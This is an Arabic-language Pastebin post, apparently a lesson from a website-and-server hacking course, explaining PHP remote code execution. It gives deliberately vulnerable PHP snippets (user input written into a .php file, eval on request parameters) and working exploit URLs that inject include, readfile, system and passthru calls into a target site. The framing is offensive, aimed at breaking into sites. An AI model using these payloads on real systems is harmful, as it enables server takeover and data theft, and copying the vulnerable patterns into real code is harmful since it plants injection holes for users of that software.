Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- السلام عليم
- عدنا و بدرس جديد من الدورة التعليمية لاختراق المواقع و السيرفرات مقدمة من طرف v4 Team
- في هدا الدرس ساتحدت عن Remote Code Execution Vulnerability
- هدا النوع من التغرات او بالاصح الاكسبلويتات EXPLOIT يسمح لنا بتطبيق اوامر او ادراج اكواد او قرائة ملفات
- المهم راح ابسط الشرح
- ملاحظة : هده التغره لازم تكون تفهم شوي بال php و perl
- هده التغره او بالاصح هدا الاكسبلويت شامل لعدد من الثغرات فمن المممكن ان يكون انكلود او كومند او لوكال
- لانها غالبا ما تحتاج ان تكتب لها اكسبلويت مو متل الثغرات العادية الا في حالات معينة
- اولا ساقوم باعطائكم بعض الامتلة التي ممكن تتعاملون معها و التي تحتاج تكتب لها اكسبلويت
- متلا هدا السكريبت البسيط
- نكون ملف file.php و نضع به هدا الكود
- <?php
- $msg = $_GET['v4'];
- $ip = getenv('REMOTE_ADDR');
- $error = fopen('v4team.php','a');
- fwrite($error,'<br />'.$v4.'<br />'.$ip.'<br />');
- fclose($error);
- ?>
- من النضره ااولى لسكريبت اتحدى اي واحد يقول انو فيه تغره
- لان السكريبت مبرمج لطبع الايبي و الاستعلامات الي يزرها الزائر في ملف اسمو v4team.php
- ادا نحن راح نستغل برائة المبرمج في زرع اكواد لتغرات متلا انكلود او فايل ديسكلوز
- لنشرح الكود
- تم التعريف على المتغير هنا بواسطة علامة $ $v4 ثم قام بطلبها بدالة _GET ثم قام بادراج التعريف بدالة fwrite
- تم قام بامر تكوين ملف v4team.php بواسطة دالة fopen بعدين قام بطبع الايرور بدالة fwrite في الملف المكون
- الايرور يساوي ما بعد المتغير v4 و في الاخير قام بالقفل fclose و هدا ترقيع لدالة fopen و قد تكلمت عنها في درس
- الريموت فايل دسكلوز يتم ترقيع الدالة ب fclose لكن دكاء الهكر
- تمكن من الاستفاده من الكود و حقن الملف المكون
- نصيحة للمبرمجين الاعتماد على البساطه في تصمصم سكريبتات
- تابعو معي التجربة
- هدا الكود هو الي راح نزرع وراء الاستعلام يعني هيك راح يصير الاستغلال
- لزرع انكلود <?include ($moad);?>
- http://site.com/file.php?v4=<?include ($v4team);?>
- او لزرع تغرة لوكال فايل ديسكلوز
- http://site.com/file.php?v4=<?readfile ($v4team);?>
- لزرع تغرة كومند
- http://site.com/file.php?v4=<?system ($v4team);?>
- و الاستغلال يكون هكدا
- http://site.com/file2.php?v4team=[evil code]
- file2.php = الملف الي طلبنا تكوينو في السكريبت يعني v4team.php
- كما لاحضتم الاستغلال وهدا شيئ بسيط في تغرات الريموت كود remote code execution
- كما لاحضتم فالملف المكون انطبع الايبي و اي شيئ كتبناه وراء المتغير v4 لدا لازم ديما عند البحت بالتغرات التدقيق في الاكواد
- الان نمر الى شيئ مهم
- و هو تكوين اكسبلويت بسيط لتغره
- راح تقول لمادا نكون اكسبلويت اقول لك متلا تبي تنزل التغره بالميلوورمstr0ke ما راح يقبلها لانك راح تعمل مراحل كتير و الناس ما راح تفهم شو تبي تقول و لازم تكون تتكلم انجليزي 10/10
- لهدا راح نكون اكسبلويت بسيط جدا و راح يفي بالغرد
- هدا هو الاكسبلويت و هو مكون لهده التغره فقط يعني تغرات اخرى لايشتغل معها لازم تعديل
- تمام الان نمر لشي اخر
- المهم ماراح اشرح كتير فيه لانك لازم تكون فاهم بالبيرل مشان تقدر تكتب اكسبلوويت
- ملاحضة: ممكن تكتب اكسبلويت باي لغه تفهمها يعني اي لغة php ruby perl c python
- اي لغة تبي
- الان بعد ان فهمتم فكره عن هده التغره التي ممكن نكتبها باكسبلويت الان نجي الى شيء اخر ممكن تكتب لو اكسبلويت و ممكن لا و هو يعتمد على دوال ركزو معي
- اقولك شو هي هده الدوال
- system include shel_exec exec و هناك دالة اخرى و هي الاكتر شيوعا في هده التغرات eval حط مية خط تحت هده الدالة
- راح تقول الي هده دوال تغرات الانكلود و الكومند اقولك راجع درس اللوكال فايل انكلود فالتغره كانت بدالة include و الكل يعرف ان هده الداله للفايل انكلود لكن كما شرحت لكم
- ممكن تكون لوكال فايل انكلود و الان ممكن تكون ريموت كود في هدا النوع من التغرات غالبا لازم تكتب لها اكسبلويت
- لهدا ساشرح لكم دالة eval
- لانها غالبا لا تحتاج اكسبلويت
- الداله eval تعطيها نص وتنفذو على أساس انه كود
- متال
- code.php
- <?
- eval("echo 'welcome in Stack-Terrorist lessons for discovered bug';");
- ?>
- تجي تقول كيف منا شايف ان الكود كتابه فقط يعني نص فقط اقولك لاحض معي
- كما تعرفون ان برنامج نوتباد بلس بلس اي داله يعطيها لون مخصص و الدوال تبع الب اش بي يعطيها لون ازرق يبقا صحصح معي و شوف لما راح نستعرض الملف و ش راح نشوف
- كما تلاحضون الكود يعتبر كنص بس عند طلب الملف راح يطبع لنا النص المربوط بدالة echo متل ما تابعتم هلا
- تمام
- الان نمر الى الجد
- نبدا بكودين بسيطين واحد لازم نشفر الاوامر بال base64 و الاخر لا يحتاج تشفير
- الاول
- code1.php
- <?
- eval("\$v4=".base64_decode($v4team).";");
- ?>
- الكود واضح و باين ما يحتاج شرح
- هدا هو الكود
- الاستغلال راح يكون هكدا
- http://site.com/code1.php?v4team=[base64 command ]
- لازم نشفر الاوامر بالباس 64 و راح ارفثق لكم برنامج يقوم بالتشفير
- تقول ليش نشفر الاوامر اقولك لان المتغير قبلو معرف بدالة الباس 64
- تابعو معي
- تمام تم التطبيق و عرض لنا ملفات السيرفر بالامر دير و هو احد اوامر الدوس
- الان نمر الى الكود التاني
- code2.php
- <?
- eval('class v4team extends '.$v4.'{ }');
- ?>
- نشرح الكود شرح بسيط
- لو تلاحضون النص يبدا بدالة class
- class =
- الكلاس هو الشرح الخاص بالكائن وهو المكان الذي تضع فيه الأساليب والخصائص الخاصة بكائن معين وهي المتغيرات والدوال
- فيصبح الكلاس الآن هو عبارة عن مجموعة من المتغيرات والدوال صحصحو معي هون
- وستضع أنت المتغيرات والدوال التي تمثل الأساليب والخصائص لهذا الكائن بين قوسي {}...
- ما اطول في هده الشروحات اي دالة مو فهمتوها اكتبها بمحرك البحت كوكل و راح تلاقي مئات الدروس و المواضيع ان شاء الله
- الان تتسائلون كيف راح نعمل استغلال لهده التغره اها اقولك كيف
- متال
- http://site.com/code2.php?v4=v{};%20class%20v{};passthru(dir);//
- راح تقولون ما فهمنا ويش عملت اقولك
- code2.php= الملف المصاب
- v4= المتغير
- v= حرف لبداية كود الاستغلال لابد من وضع حرف ما
- {} = اقرا اسطر الاخير من التعريف لدالة class
- class = دالة كلاس
- passthru= داة لتطبيق الاوامر
- dir = امر من اوامر الدوس
- لا تنسى علامة ; لاننا نطبق كود بي اش بي
- لنجرب
- تمام تم تطبيق الامر
- اتمنى انكم اخواني ان تكونو فهمتو لاني حاسس اني هالدرس عملتو شو ناقص لاني اعدتو مرتين بعد ما كملتو اول مره نسيت احطو مع دروس الدورة و انحدف من الديسكتوب
- الى هنا انتهى الدرس
- اخوكم
- Stack-Terrorist
- admin@v4-team.com
- انتضرو الدرس القادم في اكتشاف التغرات و الاخير
- الى اللقاء
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement